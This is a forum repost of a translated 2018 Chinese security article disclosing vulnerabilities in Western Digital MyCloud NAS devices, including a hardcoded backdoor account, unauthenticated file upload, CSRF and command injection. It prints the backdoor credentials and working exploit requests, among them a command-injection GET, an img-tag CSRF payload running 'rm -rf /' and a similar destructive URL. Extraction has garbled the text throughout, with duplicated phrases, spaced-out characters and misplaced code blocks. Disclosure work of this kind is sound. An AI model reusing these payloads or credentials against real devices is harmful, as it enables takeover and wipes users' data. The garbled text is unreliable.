搜索

[12241] 2018-01-15_西部数据NAS设备被曝存在硬编码后门和未授权文件上传高危漏洞

文档创建者：s7ckTeam
浏览次数：12
最后更新：2025-01-18
2018-01-15_西部数据NAS设备被曝存在硬编码后门和未授权文件上传高危漏洞 西 部 数 据 N A S 设 备 被 曝 存 在 硬 编 码 后 门 和 未 授 权 文 件 上 传 高 危 漏 洞 c l o u d s   F r e e B u f   2 0 1 8 - 0 1 - 1 5 近 日 ， 近 日 ， G u l f T e c h 公 司 安 全 研 究 员 公 司 安 全 研 究 员 J a m e s   B e r c e g a y 发 现 ， 西 部 数 据 （ 发 现 ， 西 部 数 据 （ W e s t e r n   D i g i t a l ） 旗 下 多 个 ） 旗 下 多 个 M y C l o u d 系 列 网 系 列 网 络 存 储 设 备 （ 络 存 储 设 备 （ W D M y C l o u d   N A S ） 存 在 未 限 制 文 件 上 传 、 硬 编 码 后 门 、 ） 存 在 未 限 制 文 件 上 传 、 硬 编 码 后 门 、 C S R F 、 命 令 注 入 等 多 个 高 危 漏 洞 ， 攻 、 命 令 注 入 等 多 个 高 危 漏 洞 ， 攻 击 者 可 以 利 用 这 些 漏 洞 ， 对 击 者 可 以 利 用 这 些 漏 洞 ， 对 M y C l o u d   N A S 设 备 植 入 恶 意 代 码 ， 远 程 登 录 或 获 得 设 备 控 制 权 限 （ 漏 洞 利 用 设 备 植 入 恶 意 代 码 ， 远 程 登 录 或 获 得 设 备 控 制 权 限 （ 漏 洞 利 用 e x p l o i t ） 。 而 且 ， ） 。 而 且 ， W D M y C l o u d 竟 然 还 与 竟 然 还 与 D - L i n k 存 在 代 码 共 用 情 况 ！ 存 在 代 码 共 用 情 况 ！ 漏 洞 概 述 和 受 影 响 设 备 漏 洞 概 述 和 受 影 响 设 备 西 部 数 据 M y C l o u d 系 列 （ W D M y C l o u d   ） 广 泛 应 用 于 个 人 和 商 业 机 构 ， 可 以 算 是 一 款 非 常 畅 销 的 云 存 储 设 备 ， 用 它 可 以 实 现 电 子 文 档 托 管 并 能 形 成 云 端 和 基 于 w e b 的 服 务 同 步 。 漏 洞 公 开 日 期 :   2 0 1 8 - 0 1 - 0 4 最 新 编 辑 日 期 :   2 0 1 8 - 0 1 - 0 8 受 影 响 厂 商 :   W e s t e r n   D i g i t a l   M y C l o u d 受 影 响 设 备 型 号 : M y C l o u d 、 M y C l o u d M i r r o r 、 M y   C l o u d   G e n   2 、 M y   C l o u d   P R 2 1 0 0 、   M y   C l o u d   P R 4 1 0 0 、 M y   C l o u d   E X 2 U l t r a 、 M y   C l o u d   E X 2 、 M y   C l o u d   E X 4 、 M y   C l o u d   E X 2 1 0 0 、 M y   C l o u d   E X 4 1 0 0 、 M y   C l o u d   D L 2 1 0 0 、 M y C l o u d   D L 4 1 0 0 不 受 影 响 设 备 型 号 ： M y C l o u d   0 4 . X   S e r i e s 、   M y C l o u d   2 . 3 0 . 1 7 4 漏 洞 分 析 漏 洞 分 析 未 限 制 文 件 上 传 漏 洞 未 限 制 文 件 上 传 漏 洞 W D M y C l o u d 在 以 下 位 置 存 在 未 限 制 文 件 上 传 漏 洞 ： / u s r / l o c a l / m o d u l e s / w e b / p a g e s / j q u e r y / u p l o a d e r / m u l t i _ u p l o a d i f y . p h p 主 要 原 因 在 于 ， 开 发 者 在 此 处 对 P H P   g e t h o s t b y a d d r ( ) 函 数 的 误 用 ， P H P 帮 助 手 册 对 g e t h o s t b y a d d r ( ) 函 数 的 返 回 值 作 了 以 下 说 明 ： “ 执 行 成 功 则 返 回 主 机 名 ； 失 败 则 原 样 输 出 （ 输 出 I P 地 址 ） ； 如 果 输 入 的 格 式 不 正 常 ， 则 返 回 F A L S E 。 ” 让 我 们 来 仔 细 看 看 导 致 该 漏 洞 的 代 码 ， 以 下 就 是 存 在 漏 洞 的 ” m u l t i _ u p l o a d i f y . p h p ” 脚 本 问 题 ， 我 会 一 一 对 相 关 问 题 代 码 作 出 解 释 。 # 问 题 问 题 1 ： 这 里 可 被 攻 击 者 控 制 的 “ H o s t ” 头 被 用 来 定 义 了 一 个 远 程 认 证 服 务 ， 这 本 身 就 很 糟 糕 ， 攻 击 者 可 以 把 它 指 定 为 某 个 被 控 制 服 务 器 的 I P 地 址 ， 而 且 ， 如 果 我 们 向 它 发 送 一 个 无 效 的 “ H o s t ” 头 信 息 ， 根 据 P H P 手 册 定 义 ， 它 只 会 返 回 F A L S E 。
# 问 题 问 题 2 ： 根 据 上 述 假 设 ， 向 其 发 送 了 无 效 “ H o s t ” 头 信 息 后 ， 这 里 的 $ r e s u l t 值 就 会 被 设 置 为 返 回 的 F A L S E # 问 题 问 题 3 :   而 且 ， 程 序 会 搜 索 以 下 这 个 空 的 存 储 结 构 ， 最 终 ， 其 s t r s t r ( ) 值 会 被 设 置 为 返 回 的 F A L S E 。 # 问 题 问 题 4 :   这 里 被 调 用 的 s t r n c m p ( ) 比 较 奇 怪 ， 它 像 是 在 寻 找 一 个 特 定 的 登 录 失 效 状 态 ， 所 以 当 执 行 出 错 或 意 外 时 ， 它 不 会 给 出 具 体 解 释 ， 因 此 ， 这 个 i f 语 句 总 是 被 忽 略 。 # 问 题 问 题 5 :   综 上 所 述 ， 所 有 检 查 认 证 机 制 都 会 被 绕 过 ， 攻 击 者 可 以 利 用 这 种 绕 过 机 制 ， 实 现 向 N A S 设 备 上 传 任 意 文 件 。 其 它 代 码 在 此 就 不 作 过 多 说 明 ， 但 一 旦 用 户 验 证 机 制 被 绕 过 ， 就 会 成 功 实 现 文 件 上 传 。 利 用 这 些 问 题 ， 可 以 非 常 容 易 地 获 得 一 个 远 程 r o o t 访 问 权 限 s h e l l ， 攻 击 者 可 以 使 用 参 数 ” F i l e d a t a [ 0 ] ” ， 向 N A S 设 备 发 送 一 个 包 含 上 传 文 件 的 P O S T 请 求 ， ” F i l e d a t a [ 0 ] ” 中 包 含 了 文 件 上 传 的 具 体 目 录 位 置 ， 以 及 一 个 假 冒 的 “ H o s t ” 头 信 息 。 在 后 续 的 漏 洞 利 用 M e t a s p l o i t 模 块 中 ， 实 现 了 向 N A S 设 备 目 录   “ / v a r / w w w / “ 上 传 一 个 P H P 网 马 的 功 能 ， 一 旦 成 功 上 传 ， 该 网 马 可 以 形 成 一 个 有 效 的 网 页 后 门 ， 能 加 载 后 续 攻 击 载 荷 。 硬 编 码 后 门 漏 洞 硬 编 码 后 门 漏 洞 在 发 现 上 述 文 件 上 传 漏 洞 后 ， 我 决 定 对 其 网 络 接 口 界 面 下 的 C G I 二 进 制 文 件 作 个 逆 向 分 析 ， 由 于 这 些 C G I 文 件 是 标 准 的 L i n u x   E L F 可 执 行 程 序 ， 相 对 容 易 分 析 ， 经 过 一 个 多 小 时 的 折 腾 ， 我 偶 然 发 现 了 以 下 文 件 ： / u s r / l o c a l / m o d u l e s / c g i / n a s _ s h a r i n g . c g i 上 述 文 件 可 以 通 过 访 问   “ / c g i - b i n / n a s _ s h a r i n g . c g i ” 获 得 ， 除 “ c m d ” 参 数 被 设 置 为 “ 7 ” 之 外 ， 其 它 各 种 访 问 方 式 都 会 产 生 服 务 器 错 误 ， 这 激 发 了 我 的 挖 掘 兴 趣 。 最 终 我 发 现 这 种 错 误 在 于 代 码 问 题 上 ， 但 当 我 在 分 析 错 误 的 过 程 中 ， 碰 巧 又 发 现 了 以 下 用 于 认 证 远 程 用 户 的 函 数 。 以 下 是 从 二 进 制 反 汇 编 中 创 建 的 伪 代 码 ， 为 了 更 好 地 识 别 ， 我 把 它 重 命 名 为 ” r e _ B A C K D O O R ” ： $ i p   =   g e t h o s t b y a d d r ( $ _ S E R V E R [ ' H T T P _ H O S T ' ] ) ; $ n a m e   =   $ _ R E Q U E S T [ ' n a m e ' ] ; $ p w d   =   $ _ R E Q U E S T [ ' p w d ' ] ; $ r e d i r e c t _ u r i   =     $ _ R E Q U E S T [ ' r e d i r e c t _ u r i ' ] ;   / / e c h o   $ n a m e   . " " . $ p w d . " " . $ i p ; $ r e s u l t   =   @ s t r i p s l a s h e s (   @ j o i n (   @ f i l e (   " h t t p : / / " . $ i p . " / m y d l i n k / m y d l i n k . c g i ? c m d = 1 & n a m e = " . $ n a m e . " = & p w d = " . $ p w d   ) , " "   ) ) ; $ r e s u l t _ 1   =   s t r s t r ( $ r e s u l t , " 0 " ) ; $ r e s u l t _ 1   =   s u b s t r   ( $ r e s u l t _ 1 ,   0 , 2 8 ) ; i f   ( s t r n c m p   ( $ r e s u l t _ 1 , " 0 " , 2 8 )   = =   0   ) / / i f   ( s t r s t r ( $ r e s u l t , " 0 " ) = =   0   ) { h e a d e r ( " H T T P / 1 . 1   3 0 2   F o u n d " ) ; h e a d e r ( " L o c a t i o n :   " . $ r e d i r e c t _ u r i . " ? s t a t u s = 0 " ) ; e x i t ( ) ;       }
仔 细 观 察 上 述 代 码 ， 可 以 发 现 其 中 竟 然 包 含 了 一 个 用 户 名 密 码 为 m y d l i n k B R i o n y g / a b c 1 2 3 4 5 c b a 的 管 理 员 用 户 ， 可 以 用 它 实 现 对 目 标 N A S 设 备 的 远 程 登 录 ， 这 是 多 么 经 典 的 一 个 硬 编 码 后 门 啊 ！ 而 且 该 用 户 名 ” m y d l i n k B R i o n y g ” 貌 似 与 文 件 上 传 漏 洞 中 的 代 码 ” m y d l i n k . c g i ” 字 段 相 关 ， 而 且 其 中 还 包 含 了 ” d l i n k ” ， 难 道 是 D - L i n k 吗 ？ 我 们 后 续 分 析 。 首 先 ， 一 般 来 说 ， 要 利 用 这 个 后 门 来 作 点 文 章 好 像 很 难 ， 因 为 只 有 在 “ 7 ” 模 式 下 才 不 会 发 生 错 误 ， 而 且 该 模 式 下 我 们 也 仅 能 下 载 / m n t / 目 录 下 的 文 件 ， 它 并 不 是 r o o t 权 限 ， 所 以 非 得 需 要 r o o t 权 限 才 行 。 深 入 分 析 后 ， 我 发 现 C G I 脚 本 每 次 一 开 始 都 会 运 行 出 错 ， 只 有 在 最 后 浏 览 器 渲 染 解 析 阶 段 ， C G I 脚 本 才 能 正 常 运 行 ， 这 貌 似 是 由 于 开 发 者 忘 记 在 输 出 中 指 定 具 体 的 内 容 类 型 头 ， 从 而 导 致 服 务 器 端 发 生 崩 溃 。 现 在 的 重 点 就 是 如 何 利 用 上 述 问 题 ， 实 现 r o o t 权 限 获 取 ， 所 以 在 c m d 参 数 为 “ 5 1 ” 的 情 况 下 ， 结 合 硬 编 码 用 户 名 密 码 后 门 ， 构 造 以 下 包 含 命 令 注 入 的 请 求 ， 就 能 实 现 对 远 程 N A S 设 备 的 访 问 控 制 。 G E T   / c g i - b i n / n a s _ s h a r i n g . c g i ? d b g = 1 & c m d = 5 1 & u s e r = m y d l i n k B R i o n y g & p a s s w d = Y W J j M T I z N D V j Y m E & s t a r t = 1 & c o u n t = 1 ; t o u c h + / t m p / g u l f t e c h ;   H T T P / 1 . 1 利 用 该 请 求 ， 攻 击 者 可 以 获 得 对 目 标 设 备 的 r o o t 权 限 ， 执 行 任 意 命 令 。 其 中 的 密 码 字 段 是 b a s e 6 4 编 码 的 ， 请 求 中 我 通 过 命 令 创 建 了 一 个 位 于 / t m p / 目 录 下 的 g u l f t e c h 文 件 。 这 种 漏 洞 利 用 姿 势 极 具 威 胁 性 和 传 播 性 ， 即 使 是 局 域 网 内 用 户 也 无 法 保 证 安 全 ， 攻 击 者 可 以 迷 惑 用 户 访 问 伪 装 为   “ w d m y c l o u d ” 和 ” w d m y c l o u d m i r r o r ” 名 称 ， 且 内 置 有 i f r a m e 或 i m g 标 签 的 网 站 ， 然 后 向 漏 洞 N A S 设 备 发 送 一 个 G E T 请 求 ， 就 能 实 现 设 备 控 制 。 具 体 利 用 方 式 如 下 所 示 ： s t r u c t   p a s s w d   * _ _ f a s t c a l l   r e _ B A C K D O O R ( c o n s t   c h a r   * a 1 ,   c o n s t   c h a r   * a 2 ) { c o n s t   c h a r   * v 2 ;   / /   r 5 @ 1 c o n s t   c h a r   * v 3 ;   / /   r 4 @ 1 s t r u c t   p a s s w d   * r e s u l t ;   / /   r 0 @ 4 F I L E   * v 5 ;   / /   r 6 @ 5 s t r u c t   p a s s w d   * v 6 ;   / /   r 5 @ 7 c o n s t   c h a r   * v 7 ;   / /   r 0 @ 9 s i z e _ t   v 8 ;   / /   r 0 @ 1 0 i n t   v 9 ;   / /   [ s p + 0 h ]   [ b p - 1 0 9 0 h ] @ 1 c h a r   s ;   / /   [ s p + 1 0 0 0 h ]   [ b p - 9 0 h ] @ 1 c h a r   d e s t ;   / /   [ s p + 1 0 4 0 h ]   [ b p - 5 0 h ] @ 1 v 2   =   a 2 ; v 3   =   a 1 ; m e m s e t ( & s ,   0 ,   0 x 4 0 u ) ; m e m s e t ( & d e s t ,   0 ,   0 x 4 0 u ) ; m e m s e t ( & v 9 ,   0 ,   0 x 1 0 0 0 u ) ; i f   (   * v 2   ) { v 8   =   s t r l e n ( v 2 ) ; _ b 6 4 _ p t o n ( v 2 ,   ( u _ c h a r   * ) & v 9 ,   v 8 ) ; i f   (   d w o r d _ 2 C 2 E 4   ) { s u b _ 1 1 9 4 C ( ( c o n s t   c h a r   * ) & u n k _ 1 B 1 A 4 ,   v 2 ) ; s u b _ 1 1 9 4 C ( " p w d   d e c o d e [ % s ] n " ,   & v 9 ) ; } } i f   ( ! s t r c m p ( v 3 ,   " m y d l i n k B R i o n y g " )   & &     ! s t r c m p ( ( c o n s t   c h a r   * ) & v 9 ,   " a b c 1 2 3 4 5 c b a " )   ) { r e s u l t   =   ( s t r u c t   p a s s w d   * ) 1 ; } e l s e { v 5   =   ( F I L E   * ) f o p e n 6 4 ( " / e t c / s h a d o w " ,   " r " ) ; w h i l e   (   1   ) { r e s u l t   =   f g e t p w e n t ( v 5 ) ; v 6   =   r e s u l t ; i f   (   ! r e s u l t   ) b r e a k ; i f   (   ! s t r c m p ( r e s u l t - > p w _ n a m e ,   v 3 )   ) { s t r c p y ( & s ,   v 6 - > p w _ p a s s w d ) ; f c l o s e ( v 5 ) ; s t r c p y ( & d e s t ,   ( c o n s t   c h a r   * ) & v 9 ) ; v 7   =   ( c o n s t   c h a r   * ) s u b _ 1 6 0 3 C ( & d e s t ,   & s ) ; r e t u r n   ( s t r u c t   p a s s w d   * ) ( s t r c m p ( v 7 ,   & s )   = =   0 ) ; } } } r e t u r n   r e s u l t ; }
< i m g   s r c = ” h t t p : / / w d m y c l o u d / c g i - b i n / n a s _ s h a r i n g . c g i ? d b g = 1 & c m d = 5 1 & u s e r = m y d l i n k B R i o n y g & p a s s w d = Y W J j M T I z N D V j Y m E & s t a r t = 1 & c o u n t = 1 ; r m + - r f + / ; ” > 一 旦 用 户 访 问 该 链 接 请 求 之 后 ， 其 W D M y C l o u d 设 备 就 成 了 攻 击 者 的 “ 囊 中 之 物 ” ， 由 于 硬 编 码 后 门 的 存 在 ， 用 户 唯 一 能 做 的 缓 解 措 施 就 是 立 即 删 除 N A S 设 备 中 的 数 据 。 C S R F 漏 洞 漏 洞 该 漏 洞 利 用 方 式 可 以 是 这 种 ： h t t p : / / w d m y c l o u d / w e b / d s d k / D s d k P r o x y . p h p ? ; r m   - r f   / ; 也 就 是 说 ， 如 果 用 户 登 录 进 入 N A S 设 备 之 后 ， 如 果 不 小 心 点 击 了 上 述 链 接 之 后 ， 将 会 执 行 整 盘 W D M y C l o u d 的 数 据 删 除 。 命 令 注 入 命 令 注 入 2 0 1 7 年 3 月 份 是 ， E x p l o i t e e r s 安 全 团 队 曾 发 现 了 W D M y C l o u d 的 多 个 命 令 注 入 漏 洞 ， 但 非 常 不 可 思 议 的 是 ， 我 们 又 在 其 中 发 现 了 这 种 漏 洞 ， 以 下 就 是 存 在 漏 洞 的 问 题 代 码 ， 有 兴 趣 的 可 以 深 入 研 究 一 下 。 D o S 漏 洞 漏 洞 攻 击 者 可 以 滥 用 语 言 设 置 功 能 来 触 发 对 N A S 设 备 W E B 接 口 的 D o S 攻 击 ， 原 因 在 于 任 意 未 授 权 用 户 可 以 设 置 设 备 用 户 的 通 用 语 言 ， 以 下 是 该 功 能 的 逆 向 二 进 制 伪 代 码 ： 从 以 上 代 码 可 知 ， 攻 击 者 在 无 需 认 证 的 情 况 下 ， 可 以 对 N A S 设 备 设 置 任 意 使 用 语 言 ， 这 种 情 况 下 ， 也 就 说 明 ， 可 以 随 时 切 换 任 意 语 言 设 置 ， 当 然 也 对 W E B 接 口 的 正 常 访 问 造 成 影 响 。 如 以 下 利 用 方 式 ， 其 中 7 为 把 语 言 设 置 为 韩 语 ， 总 共 有 1 7 种 语 言 可 设 置 。 h t t p : / / w d m y c l o u d / c g i - b i n / l o g i n _ m g r . c g i ? c m d = c g i _ l a n g u a g e & f _ l a n g u a g e = 7 信 息 泄 露 信 息 泄 露 在 不 需 任 意 认 证 的 情 况 下 ， 攻 击 者 可 以 利 用 以 下 请 求 方 式 获 取 设 备 用 户 相 关 的 详 细 信 息 ， c l a s s   R e m o t e B a c k u p s A P I { p u b l i c   f u n c t i o n   g e t R e c o v e r I t e m s ( ) { $ x m l P a t h   =   " / v a r / w w w / x m l / r s y n c _ r e c o v e r _ i t e m s . x m l " ; $ j o b N a m e   =   $ _ R E Q U E S T [ ' j o b N a m e ' ] ; @ u n l i n k ( $ x m l P a t h ) ; $ c m d   =   " r s y n c m d   - l   " $ x m l P a t h "   - r   " $ j o b N a m e "   > / d e v / n u l l " ; s y s t e m ( $ c m d ) ; i f   ( f i l e _ e x i s t s ( $ x m l P a t h ) ) { p r i n t   f i l e _ g e t _ c o n t e n t s ( $ x m l P a t h ) ; } e l s e { p r i n t   " " ; } } } i n t   c g i _ l a n g u a g e ( ) { i n t   v 1 ;   / /   [ s p + 0 h ]   [ b p - 1 0 h ] @ 1 c g i F o r m S t r i n g ( " f _ l a n g u a g e " ,   & v 1 ,   8 ) ; x m l _ s e t _ s t r ( ( i n t ) " / l a n g u a g e " ,   ( i n t ) & v 1 ) ; x m l _ w r i t e _ f i l e ( " / e t c / N A S _ C F G / c o n f i g . x m l " ) ; L I B _ C P _ C o n f i g _ T o _ M T D ( 1 ) ; c g i H e a d e r C o n t e n t T y p e ( " t e x t / h t m l " ) ; r e t u r n   s y s t e m ( " l a n g u a g e . s h   >   / d e v / n u l l   2 > & 1   & " ) ; }
G E T   / a p i / 2 . 1 / r e s t / u s e r s ?   H T T P / 1 . 1 W D M y C l o u d 与 与 D - L i n k 的 共 用 代 码 关 系 的 共 用 代 码 关 系 如 前 所 述 ， “ m y d l i n k . c g i ” 文 件 引 发 了 我 对 D - L i n k 设 备 的 联 想 ， 于 是 乎 我 通 过 G o o g l e 搜 索 到 了 D - L i n k 论 坛 内 ， 某 个 D - L i n k   D N S - 3 2 0 L   S h a r e C e n t e r 设 备 用 户 发 表 的 帖 子 ， 提 及 到 了 “ m y d l i n k . c g i ” 文 件 。 经 过 我 对 D - L i n k   D N S - 3 2 0 L   S h a r e C e n t e r 设 备 的 分 析 后 发 现 ， 它 竟 然 存 在 与   W D M y C l o u d 完 全 相 同 的 未 授 权 文 件 上 传 和 硬 编 码 后 门 漏 洞 ， G O D ! ， 另 外 ， 还 有 多 处 拼 写 错 误 的 函 数 名 称 和 异 常 代 码 相 当 一 致 ， 这 可 以 说 明 ， 它 们 在 软 件 架 构 中 共 用 了 代 码 ！ 但 好 在 ， 与   W D M y C l o u d 不 同 ， 升 级 版 固 件 的 D - L i n k   D N S - 3 2 0 L 已 经 不 存 了 未 授 权 文 件 上 传 和 硬 编 码 后 门 漏 洞 ， 其 中 ， 硬 编 码 后 门 漏 洞 早 在 2 0 1 4 年 7 月 的 1 . 0 . 6 升 级 固 件 版 本 中 就 已 经 被 移 除 ， 如 果 你 还 没 升 级 ， 就 赶 快 的 吧 ！ 非 常 搞 笑 ， 两 家 流 行 N A S 设 备 大 厂 ， 竟 然 在 2 0 1 4 年 初 和 2 0 1 4 年 底 ， 共 用 同 样 的 代 码 ， 导 致 存 在 同 样 的 漏 洞 和 后 门 ！ 漏 洞 修 复 漏 洞 修 复 参 照 官 方 修 复 建 议 ， 尽 快 升 级 到 W D M y C l o u d 的 2 . 3 0 . 1 7 4 固 件 版 本 ， 但 有 些 用 户 反 映 ， 该 固 件 更 新 还 未 完 全 修 复 某 些 漏 洞 。 * 参 考 来 源 ： 参 考 来 源 ： g u l f t e c h ， ， f r e e b u f 小 编 小 编 c l o u d s 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理